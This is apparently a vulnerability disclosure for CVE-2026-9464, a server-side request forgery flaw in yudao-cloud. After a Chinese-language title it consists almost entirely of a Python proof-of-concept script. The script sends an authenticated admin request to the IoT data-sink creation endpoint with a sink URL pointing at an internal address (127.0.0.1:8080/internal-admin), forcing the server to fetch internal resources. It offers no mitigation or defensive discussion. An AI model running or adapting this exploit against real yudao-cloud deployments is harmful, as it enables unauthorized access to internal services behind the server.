CVE-2026-9464: yudao-cloud存在服务器端请求伪造漏洞

import requests # Target URL url = "http://target-domain/admin-api/iot/data-sink/create" # Headers, simulating an authenticated admin user (PR:H required) headers = { "Content-Type": "application/json", "Authorization": "Bearer <Admin_Access_Token>" } # Malicious payload demonstrating SSRF # Attacker attempts to force the server to request an internal resource payload = { "name": "malicious_sink", "type": "HTTP", "config": { "url": "http://127.0.0.1:8080/internal-admin", "method": "GET" } } try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully, check internal logs for SSRF trigger.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")